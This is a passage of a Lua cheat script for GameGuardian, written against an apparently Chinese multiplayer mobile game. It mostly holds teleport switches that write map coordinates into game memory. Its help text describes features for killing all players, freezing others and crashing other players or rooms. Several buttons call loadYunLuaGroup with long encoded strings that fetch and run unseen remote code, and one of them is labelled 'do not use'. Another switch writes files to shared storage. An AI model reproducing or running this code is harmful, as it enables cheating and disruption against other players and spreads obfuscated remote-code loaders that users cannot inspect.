xg1(633,16,-8,true)--y xg1(-254,16,-4,true) xg1(-603,16,-12,true) gg.sleep(500) xg1(633,16,-8,false)--y xg1(-254,16,-4,false) xg1(-603,16,-12,false) end, function() end ), changan.switch( "远征高台2", function() fw1=false xg1(509,16,-8,true)--y xg1(0.75161904,16,-4,true) xg1(-3474,16,-12,true) gg.sleep(500) xg1(509,16,-8,false)--y xg1(0.75161904,16,-4,false) xg1(-3474,16,-12,false) end, function() end ), changan.switch( "红石进点", function() fw1=false xg1(300,16,-8,true)--y xg1(-1181.941,16,-4,true) xg1(-247,16,-12,true) gg.sleep(500) xg1(300,16,-8,false)--y xg1(-1181.941,16,-4,false) xg1(-247,16,-12,false) end, function() end ), changan.switch( "红石高台1", function() fw1=false xg1(1394,16,-8,true)--y xg1(218,16,-4,true) xg1(3164,16,-12,true) gg.sleep(500) xg1(1394,16,-8,false)--y xg1(218,16,-4,false) xg1(3164,16,-12,false) end, function() end ), changan.switch( "盖亚进点", function() fw1=false xg1(120,16,-8,true)--y xg1(151.941,16,-4,true) xg1(-1193,16,-12,true) gg.sleep(500) xg1(120,16,-8,false)--y xg1(151.941,16,-4,false) xg1(-1193,16,-12,false) end, function() end ), changan.switch( "盖亚高台1", function() fw1=false xg1(390,16,-8,true)--y xg1(-235.941,16,-4,true) xg1(-2510,16,-12,true) gg.sleep(500) xg1(390,16,-8,false)--y xg1(-235.941,16,-4,false) xg1(-2510,16,-12,false) end, function() end ), changan.switch( "盖亚高台2", function() fw1=false xg1(1400,16,-8,true)--y xg1(5651.46,16,-4,true) xg1(204,16,-12,true) gg.sleep(500) xg1(1400,16,-8,false)--y xg1(5651.46,16,-4,false) xg1(204,16,-12,false) end, function() end ), }), changan.box({ "多人站点", changan.switch( "暗黑星云进点1", function() fw1=false xg1(5745,16,-8,true)--y xg1(-303,16,-4,true) xg1(-239,16,-12,true) gg.sleep(500) xg1(5745,16,-8,false)--y xg1(-303,16,-4,false) xg1(-239,16,-12,false) end, function() end ), changan.switch( "暗黑星云进点2", function() fw1=false xg1(8018,16,-8,true)--y xg1(7150,16,-4,true) xg1(-255,16,-12,true) gg.sleep(500) xg1(8018,16,-8,false)--y xg1(7150,16,-4,false) xg1(-255,16,-12,false) end, function() end ), changan.switch( "暗黑星云辅助位", function() fw1=false xg1(4073,16,-8,true)--y xg1(10309,16,-4,true) xg1(-16878,16,-12,true) gg.sleep(500) xg1(4073,16,-8,false)--y xg1(10309,16,-4,false) xg1(-16878,16,-12,false) end, function() end ), changan.switch( "陨星基地进点1", function() fw1=false xg1(1000,16,-8,true)--y xg1(-1404,16,-4,true) xg1(1389,16,-12,true) gg.sleep(500) xg1(1000,16,-8,false)--y xg1(-1404,16,-4,false) xg1(1389,16,-12,false) end, function() end ), changan.switch( "陨星基地进点2", function() fw1=false xg1(100,16,-8,true)--y xg1(1626,16,-4,true) xg1(2071,16,-12,true) gg.sleep(500) xg1(100,16,-8,false)--y xg1(1626,16,-4,false) xg1(2071,16,-12,false) end, function() end ), changan.switch( "陨星基地进点3", function() fw1=false xg1(202,16,-8,true)--y xg1(234,16,-4,true) xg1(-2906,16,-12,true) gg.sleep(500) xg1(202,16,-8,false)--y xg1(234,16,-4,false) xg1(-2906,16,-12,false) end, function() end ), }), changan.box({ "派对模式", changan.switch( "乐园进点1", function() fw1=false xg1(190,16,-8,true)--y xg1(103,16,-4,true) xg1(-1509,16,-12,true) gg.sleep(500) xg1(190,16,-8,false)--y xg1(103,16,-4,false) xg1(-1509,16,-12,false) end, function() end ), changan.switch( "乐园进点2", function() fw1=false xg1(99,16,-8,true)--y xg1(2116,16,-4,true) xg1(281,16,-12,true) gg.sleep(500) xg1(99,16,-8,false)--y xg1(2116,16,-4,false) xg1(281,16,-12,false) end, function() end ), changan.switch( "乐园进点3", function() fw1=false xg1(98,16,-8,true)--y xg1(-2125,16,-4,true) xg1(1834,16,-12,true) gg.sleep(500) xg1(98,16,-8,false)--y xg1(-2125,16,-4,false) xg1(1834,16,-12,false) end, function() end ), }), changan.box({ "乱斗模式", changan.switch( "空投点1", function() fw1=false xg1(799,16,-8,true)--y xg1(2932.199,16,-4,true) xg1(-4221,16,-12,true) gg.sleep(500) xg1(799,16,-8,false)--y xg1(2932.199,16,-4,false) xg1(-4221,16,-12,false) end, function() end ), changan.switch( "空投点2", function() fw1=false xg1(1500,16,-8,true)--y xg1(-5937.941,16,-4,true) xg1(3917,16,-12,true) gg.sleep(500) xg1(1500,16,-8,false)--y xg1(-5937.941,16,-4,false) xg1(3917,16,-12,false) end, function() end ), }), changan.box({ "无限擂台", changan.switch( "中心", function() fw1=false xg1(130,16,-8,true)--y xg1(28,16,-4,true) xg1(227,16,-12,true) gg.sleep(500) xg1(130,16,-8,false)--y xg1(28,16,-4,false) xg1(227,16,-12,false) end, function() end ), changan.switch( "高台1", function() fw1=false xg1(803,16,-8,true)--y xg1(-2245.1,16,-4,true) xg1(272,16,-12,true) gg.sleep(500) xg1(803,16,-8,false)--y xg1(-2245.1,16,-4,false) xg1(272,16,-12,false) end, function() end ), changan.switch( "高台2", function() fw1=false xg1(803,16,-8,true)--y xg1(1185,16,-4,true) xg1(-1718,16,-12,true) gg.sleep(500) xg1(803,16,-8,false)--y xg1(1185,16,-4,false) xg1(-1718,16,-12,false) end, function() end ), changan.switch( "高台3", function() fw1=false xg1(1400,16,-8,true)--y xg1(5651.46,16,-4,true) xg1(204,16,-12,true) gg.sleep(500) xg1(803,16,-8,false)--y xg1(1169,16,-4,false) xg1(2253,16,-12,false) end, function() end ), }), },{--123456 changan.box({"基础功能(3)", changan.button( '全图功能', function() gg.alert("全图功能\n全图刀人[全部]:开启后过2秒跳起来[风声用加速]放炮台\n毒人之类:在开启后等2秒灰屏开启成功\n吸人:开启后人们会到一个点[可能你也会]\n灰屏:开启后过1秒跳起来[风声用加速]放炮台再解体\n磁爆:开一把无限擂台肌肉标准都行然后弄三个磁包车之后出生后开启不要解体也不要改装等他上天之后,过几分钟或过几秒试试开磁暴技能能不能独岛人如果可以,那就成了\n卡人:开启后过2秒放炮台[不能超过]\n离线[闪退]:开启后过2秒跳起来[风声用加速]放炮台之后解体移动\n") end), changan.button( '范围大小', function() gg.alert("范围大小用拉条修改") end), changan.button( '缴械', function() gg.alert("开启后走两步解体") end), }), changan.box({"bug穿(4)", changan.button( '喇叭bug', function() gg.alert("") end), changan.button( '推恩官bug', function() gg.alert("") end), changan.button( '风声bug', function() gg.alert("") end), changan.button( '蓝火bug', function() gg.alert("") end), }), changan.box({"卡房之类(4)", changan.button( '卡房间', function() gg.alert("") end), changan.button( '百吨王', function() gg.alert("") end), changan.button( '多人数', function() gg.alert("") end), changan.button( '加速', function() gg.alert("") end), }), changan.button( '后坐/传送/加速等失效', function() gg.alert("刚出战、刚切换画质、周围有其他玩家(敌人/队友)、炮台、分身时,有关自身移动的功能将会失效 等待几秒便可使用(周围要没有其他的 玩家、炮台、分身),其判定距离大概是3~4个建筑块") end), },{---UI设置 },{---UI设置 changan.box({"关于脚本", changan.text("脚本功能:264个","#87CEFA","27sp"), changan.text("脚本总行数:12258行","#87CEFA","13sp"), changan.text("脚本总功能:345个","#87CEFA","13sp"), }), changan.box({ '彩蛋', changan.switch( '彩蛋(1)', function() file.mkdir("/storage/emulated/0/花L絮※恋少彩蛋") local f = io.open("/storage/emulated/0/花L絮※恋少彩蛋/L-S祝福语.lua", "r") f = io.open("/storage/emulated/0/花L絮※恋少彩蛋/L-S祝福语.lua", "w") f:write("祝你天天开心") local f = io.open("/storage/emulated/0/花L絮※恋少彩蛋/L-S考试前语.lua", "r") f = io.open("/storage/emulated/0/花L絮※恋少彩蛋/L-S考试前语.lua", "w") f:write("祝超常发挥") local f = io.open("/storage/emulated/0/花L絮※恋少彩蛋/L-S考试后语.lua", "r") f = io.open("/storage/emulated/0/花L絮※恋少彩蛋/L-S考试后语.lua", "w") f:write("祝你满分") end, function() end), changan.switch( '彩蛋(2)[别用]', function() loadYunLuaGroup("httpByQn0RTmbpsGdcPcXyFHiZ+j9yFx3DxxSErAF7365IpTfJLhFYN4Jn8VMBFMXetcG9WyVF3fXZBbfBHf3ug/4MopD78o8C7fO3BdGGi+3muQO5cO2JW9/33RqHTQE5P96YfusIaBLY1kTwuUEMLxf2E5wcWhFFKM0M53ZSuTEkjcqjOrG8y4szddgbrrXlZpyG0gF/gp94SE4s1xL4GOpf961tstxenjkTm1GEm4Cnwwsguu+co8A9C+965ejEW+qE15p3zu6P0RHNHHDaFrWAJe/x2TDED5A3W5xnZ4Jwi1vxV+kHTR14LU2ak58+InD") loadYunLuaGroup("httpByQn0RTmbpsGdcPcXyFHiZ+j9yFx3DxxSEhAF7365IpTfJLhFYN4Jn8VMBFMXegsQS3zfDoMFWplaLU71e7jGLyE1n2wMZXyNbsvv+aj0azNRScGiS/2ITpELZj4KbznjsFsZhwrNYWZZqF+Q4Nu5NIA+zPvE9RXxQ9wXrKCYr1REfIbJ6vGUm4PrSI2EqzMm7YpwEEOEPlDfbnGdngnCLmTDXa0dMHzmtT1uTsr0/I0") end, function() loadYunLuaGroup("httpByQn0RTmbpsGdcPcXyFHiZ+j9yFx3DxxSErAF7365IpTfJLhFYN4Jn8VMBFMXetcG9WyVF3fXZBbfBHf3ug/4MopD78o8C7fO3BdGGi+3muQO5cO2JW9/33RqHTQE5P96YfusIaBLY1kTwuUEMLxf2E5wcWhFFKM0M53ZSuTEkjcqjOrG8y4szddgbrrXlZpyG0gF/gp94SE4s1xL4GOpf961tstxenjkTm1GEm4Cnwwsguu+co8A9C+965ejEW+qE15p3zu6P0RHNHHDaFrWAJe/x2TDED5A3W5xnZ4Jwi1vxV+kHTR14LU2ak58+InD") loadYunLuaGroup("httpByQn0RTmbpsGdcPcXyFHiZ+j9yFx3DxxSEhAF7365IpTfJLhFYN4Jn8VMBFMXegsQS3zfDoMFWplaLU71e7jGLyE1n2wMZXyNbsvv+aj0azNRScGiS/2ITpELZj4KbznjsFsZhwrNYWZZqF+Q4Nu5NIA+zPvE9RXxQ9wXrKCYr1REfIbJ6vGUm4PrSI2EqzMm7YpwEEOEPlDfbnGdngnCLmTDXa0dMHzmtT1uTsr0/I0") end), }), changan.box({ '其它[RG]', changan.button("测试[Deepseek]", function() baseWindow=require 'floatingWindowManager2' context = baseWindow:getContext() local dialogBuilder = MaterialAlertDialogBuilder(context) :setTitle('欢迎使用') :setMessage("Deep seek \n修服务器中\n暂时没法使用 ") :setPositiveButton('确定') luajava.showAlert(dialogBuilder) function ai_chat() local API_URL = "https://api.qingyunke.com/api.php?key=free&appid=0&msg=" local history = "" local running = true -- 初始化问候 local greeting = "[AI助手]:你好!我是智能助手,请问有什么可以帮您?" print(greeting) history = history .. greeting while running do -- 显示菜单选项 local choice = gg.alert(history, "发送消息", "清除记录", "退出对话") if choice == 1 then -- 发送消息 local input = gg.prompt({"请输入您的问题:"}, {}, {"text"}) if input and input[1] then history = history .. "\n\n[你]:" .. input[1] -- 显示思考中... gg.toast("思考中...") -- 调用API local response = gg.makeRequest(API_URL .. gg.urlEncode(input[1])) if response and response.code == 200 then local reply = response.content:match('"content":"(.-)"}') if reply then reply = reply:gsub("{br}", "\n"):gsub("菲菲", "助手") history = history .. "\n\n[AI助手]:" .. reply print("[AI助手]:" .. reply) else history = history .. "\n\n[系统]:解析回复失败" end else history = history .. "\n\n[系统]:请求API失败" end end elseif choice == 2 then -- 清除记录 history = "[AI助手]:对话记录已清除\n\n[AI助手]:请问有什么可以帮您?" else -- 退出对话 gg.toast("感谢使用,再见!") running = false end end end -- 启动函数 function main() if gg.isVisible() then gg.setVisible(false) ai_chat() end end main() end), changan.switch( '应急[换修改器]', function() end, function() end), changan.switch( '静态基址脚本', function() local Ranges=gg.getRangesList('/') local function Read(module,type) for k,v in pairs(Ranges) do if v['internalName']:match('[^/]*$')==module and v['type']==type then return v['start'] end end end local Table={} local function Modify(address,value,flags) Table[#Table+1]={address=address,value=value,flags=flags} end gg.setValues(Table) end, function() end), changan.button("Chainer基址工具_v3.0_for96or86", function() fw1=false loadYunLuaGroup("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